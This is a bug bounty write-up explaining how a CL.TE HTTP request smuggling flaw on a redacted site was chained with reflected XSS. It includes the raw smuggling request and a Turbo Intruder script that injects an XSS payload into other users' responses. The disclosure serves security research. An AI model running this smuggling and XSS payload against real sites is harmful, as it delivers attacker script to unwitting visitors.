This vulnerability was found on a private programme, therefore parts have been redacted.

As with the majority of HTTP Smuggling, it started with a smuggle probe from Burp’s HTTP Request Smuggler Extension:

Unfortunately there was nothing interesting on the back-end to attempt to bypass the front-end security controls, or no sensitive information being passed from users to attempt to capture their requests. However, earlier a common reflected XSS was found:

Which in the source code looked like:

Which made me think, could we force other users to search for the reflected XSS, escalating it to site-wide, no user interaction XSS?

I crafted the following request to test the identified CL.TE vulnerability:

POST /redacted.aspx HTTP/1.1
 Transfer-Encoding: chunked
Host: redacted.com
Content-Length: 21
X-Blah-Ignore: chunked

0

GET /404
Foo: x

This request works by taking advantage of discrepancies in HTTP specifications, which provides two different methods for specifying the length of HTTP messages:

• The front-end server processes the Content-Length: header, which forwards the whole request.
• The back-end uses Transfer-Encoding: chunked processing only the first chunk, which is set at 0 length, which in chunked encoding will terminate the request.
• The remaining bytes GET /404 are left unprocessed, which the back-end will process these bytes as the start of the next request. GET /404 was chosen as it returns a 404, making it easier to identify if the vulnerability exists.
• When sending the request twice, a 404 is returned for the second request, showing the GET /404 has successfully been processed within the next request.

This led onto launching a CL.TE smuggle attack with the following Turbo Intruder payload, including the XSS vulnerability:

def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )

    prefix = '''GET /redacted.aspx?redacted=1"*%2Fconfirm%0B(1)<%2FScript%2F--><Script>%2F* HTTP/1.1
X-Ignore: X'''

    attack = target.req + prefix
    engine.queue(attack)

    victim = target.req
    for i in range(7):
        engine.queue(victim)
        time.sleep(0.05)


def handleResponse(req, interesting):
    table.add(req)

and sure enough, the request was successfully smuggled, and one of the next requests received the poisoned XSS response:

XSS being smuggled

Later response poisoned with XSS

Although this programme accepted reflected XSS as is, this same approach could have been used to chain together XSS with CSRF or a CORS misconfiguration. If the attack kept being fired, nearly every user who visited the site would receive a poisoned response.

Extra reading on HTTP Request Smuggling